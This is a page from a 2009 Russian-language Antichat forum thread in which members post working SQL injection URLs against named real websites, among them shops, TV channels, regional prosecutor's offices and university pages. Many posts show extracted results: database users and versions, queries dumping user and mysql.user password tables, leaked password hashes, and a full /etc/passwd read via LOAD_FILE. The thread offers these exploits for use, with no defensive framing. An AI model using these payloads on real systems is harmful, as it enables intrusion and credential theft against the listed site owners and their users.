FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 796 из 1602

796

Опции темы

Поиск в этой теме

Опции просмотра

02.03.2009, 01:14

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

Провел на форуме:
3152874

Репутация: 1020

Отправить сообщение для AkyHa_MaTaTa с помощью ICQ

tv.sinn.ru - ВолгаТелеком

PHP код:


		
			
http://tv.sinn.ru/view_all_topic.php?m_id=33955+union+select+1,2,concat_ws(0x3A,user(),version(),database()),4,5,6,7+--+

tv@localhost
4.0.18-log
tv

02.03.2009, 01:30

f1ng3r

Участник форума

Регистрация: 14.01.2009

Сообщений: 257

Провел на форуме:
1936181

Репутация: 688

Отправить сообщение для f1ng3r с помощью ICQ

Pagerank: 5
тИЦ: 700

Код:

http://www.nordicbook.ru/detailed.php?id=-1+union+select+concat_ ws(0x3a,version(),data base(),user()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--&type=Books

Database Version : 4.1.22
Database name : db_nordic_1
User name : dbu_nordic_1@192.168.8.81

--------------------------------------------#

Pagerank: 4
тИЦ: 275

Код:

http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3, concat _ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--

Database Version : 5.0.67
Database name : Gamestation
User name : root@localhost

юзвери:

Код:

http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3,concat_ ws(0x3a,user_id,email,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+ps_users--

читаем /etc/passwd :

Код:

http://gamestation.ru/station.php?dir_id=71&prod_id=12476+union+select+1,2,3,LOAD_FILE(0x2f6574632f706173737764),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3 9,40,41,42,43, 44,45,46,47,48,49,50,51--

Код:

# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06
20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/usr/local/bin/
bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner
of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries
Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty
Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/
usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/
usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/
clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default
User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind
Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-
user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep
user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/
var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/
spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post
Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World
Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/
nologin mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
dovecot:*:143:143:Dovecot User:/var/empty:/usr/sbin/nologin
volos:*:1000:0::/home/volos:/usr/local/bin/bash

--------------------------------------------#

Код:

http://alterego.of.by/library/showarticle.php?id=71+union+select+1,concat_ ws(0x3a,version(),d atabase(),user()),3,4,5,6--

Database Version : 4.0.27-log
Database name : alteregotutby
User name : alteregotutby@gemini.tutby.com

Последний раз редактировалось f1ng3r; 02.03.2009 в 10:04.. Причина: add

02.03.2009, 14:35

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

Провел на форуме:
812964

Репутация: 302

Отправить сообщение для Assembler с помощью ICQ

Код:

http://prosto-kredit.ru

PR: 1
Тиц: 0
Версия: 5.0.45
База данных: prostokreditru
Юзверь: prostokreditru@localhost

Код:

http://www.prosto-kredit.ru/next.php?id=1&rid=3%20union%20select%201,2--

02.03.2009, 15:09

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

Провел на форуме:
1571865

Репутация: 571

Отправить сообщение для R1dex с помощью ICQ

Мир Мобил

Код:

http://www.mir-mobil.ru/?cat=1518'+and+substring(version(),1,1)=5/*

02.03.2009, 15:15

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

Провел на форуме:
3152874

Репутация: 1020

www.selec.ru pr-3 ТиЦ - 1100

PHP код:


		
			
http://www.selec.ru/?group_id=63+union+select+1,2,concat_ws(0x3A,user(),user,password,host,file_priv),4,5,6+from+mysql.user+--+

02.03.2009, 15:49

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

Провел на форуме:
1571865

Репутация: 571

Канал «Ночной клуб»

Код:

http://www.nclub.tv/index.php?a=129+and+ascii(substring((select+user+from+site_userlist+limit+4,1),1,1))%3E1

nclub:ac1735cfce2ccf23db3a17c55259ad10
nclubeditor:63e10def43966f36d767f61d0b92c37c
______________________________________

Канал «Телепутешествия»

Код:

http://www.teletravel.tv/index.php?a=205+and+ascii(substring((select+user+from+site_userlist+limit+6,1),1,1))%3E1

______________________________________

"РИМ" - интернет-магазин бытовой техники и электроники

Код:

http://www.rim-shop.ru/index.php?cat=20'+and+substring(version(),1,1)=5--+

______________________________________

Продажа Недвижимости в Тайланде

Код:

http://2-thai.ru/card/?num=55+and+substring(version(),1,1)=5--&sch=2&val=%F0%F3%E1&pg=1

02.03.2009, 16:50

-m0rgan-

Постоянный

Регистрация: 29.09.2008

Сообщений: 553

Провел на форуме:
2584134

Репутация: 519

Отправить сообщение для -m0rgan- с помощью ICQ

Вот сново небольшой сбор скулей от меня
На этот раз пройдемся по доменной зоне co.uk!

www.solutionfocusedtrainers.co.uk

PR:2

Код:

http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6--

Юзер/версия/бд:

Код:

dbo197803277@212.227.114.1364.0.27-max-logdb197803277

------------------------------------------------------------------

www.mynhw.co.uk

PR:4

Код:

http://www.mynhw.co.uk/news-full.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5,6,7,8,9--

Юзер/версия/бд:

Код:

sniasuper@server213-171-218-159.livedns.org.uk5.0.45SNIA

----------------------------------------------------------------

www.ccsrecruitment.co.uk

PR:1

Код:

http://www.ccsrecruitment.co.uk/newsdetail.php?id=-1+union+all+select+0,1,2,3,4,5,6,concat_ws(version(),user(),database()),8,9--

Юзер/версия/бд:

Код:

logccsunix_jobs-ccsunix_rishi@web7.myhsphere.cc5.0.67

----------------------------------------------------------------

www.judgement-productions.co.uk

PR:4

Код:

http://www.judgement-productions.co.uk/show.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database())--

Юзер/версия/бд:

Код:

judgement1@213.171.218.1375.0.22-logjudgement1

------------------------------------------------------------

www.c8imc.co.uk

PR:1

Код:

http://www.c8imc.co.uk/news.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5--

Юзер/версия/бд:

Код:

mainimc@localhost4.1.19-standard-logmainimc

---------------------------------------------------------

www.positivestepstraining.co.uk

PR:2

Код:

http://www.positivestepstraining.co.uk/website.php?id=-1+union+all+select+0,1,2,3,4,5,6,7,8,9,10,concat_ws(version(),user(),database())--

Юзер/версия/бд:

Код:

evolvenetroottwo@server213-171-192-98.livedns.org.uk5.0.45evolvenetmainsqltwo

---------------------------------------------------------------------

Вот самый интерестный!!!!11111

www.vogueescorts.co.uk

PR:1

Код:

http://www.vogueescorts.co.uk/main.php?id=-255+union+select+1,2,3--

--------------------------------------------------------------------
The End!

Последний раз редактировалось jokester; 02.03.2009 в 17:09.. Причина: 3 бояна убрал

02.03.2009, 17:28

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

Провел на форуме:
1571865

Репутация: 571

Национальная база данных электронной идентификации

Код:

http://russiapet.net/index.php?page=-3'+union+select+1,2,version(),4,5,6,7,8,9,0,11,12--+&lang=ru

__________________________________________

Прокуратура Воронежской области - официальный сайт

Код:

http://www.prokuratura-vrn.ru/main.php?month=03-2009&getnews=20090302'+and+substring(version(),1,1)=5/*

__________________________________________

Прокуратура Астраханской области - официальный сайт

Код HTML:

http://www.astrprok.ru/?month=03-2009&getnews=20090302'+and+substring(version(),1,1)=5--+

02.03.2009, 20:40

S0ulVortex

Участник форума

Регистрация: 18.11.2007

Сообщений: 184

Провел на форуме:
1686744

Репутация: 246

Отправить сообщение для S0ulVortex с помощью ICQ

www.chiminellocatering.com PR=3

Код:

http://www.chiminellocatering.com/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--

version: 4.1.22-standard-log
user: chiminel_admin@localhost
database: chiminel_cms

--------------------------------------------------------------

www.warrenbaerg.com PR=4

Код:

http://www.warrenbaerg.com/news.php?ax=v&n=11&id=11&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--

version: 4.1.22-standard-log
user: warrenba_user@localhost
database: warrenba_cms

#10

02.03.2009, 21:07

VITАL

Познающий

Регистрация: 19.08.2008

Сообщений: 33

Провел на форуме:
140077

Репутация: 93

Usc.edu

Цитата:

http://viterbi.usc.edu/alumni/classnotes/cn_more_classnotes.php?cat_id=-3'+union+select+1,2,concat_ws(0x3a,versioN()),4,5, 6,7,8,9,10,11,12,13+from+admin/*

Цитата:

http://college.usc.edu/vhi/testimoniesaroundtheworld/location.php?nid=-473+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,32,version(),34,35,36,37,38/*

Bioen.utah.edu

Цитата:

http://www.bioen.utah.edu/faculty/RDR/index.php?cat_id=-1+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x 7873716C696E6A626567696E,(SELECT+CONCAT(user_id,0x 7873716C696E6A64656C,email,0x7873716C696E6A64656C, pass,0x7873716C696E6A64656C,first_name)+FROM+sbl.u sers+LIMIT+11,1),0x7873716C696E6A656E64),0x71),0x7 1)/*

Siue.edu

Цитата:

http://events.siue.edu/siuevents/article.php?sid=-296+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7 ,8,9,0,1,2,3,4,5,6,7,8,9,0/*

W2.byuh.edu

Цитата:

http://w2.byuh.edu/devotionals/index.php?CatID=-20+union+select+unhex(hex(version()))/*

Stir.sterling.edu

Цитата:

http://stir.sterling.edu/article.php?nid=-391+union+select+1,versioN(),3,4,5,6,7/*

Последний раз редактировалось VITАL; 02.03.2009 в 21:16..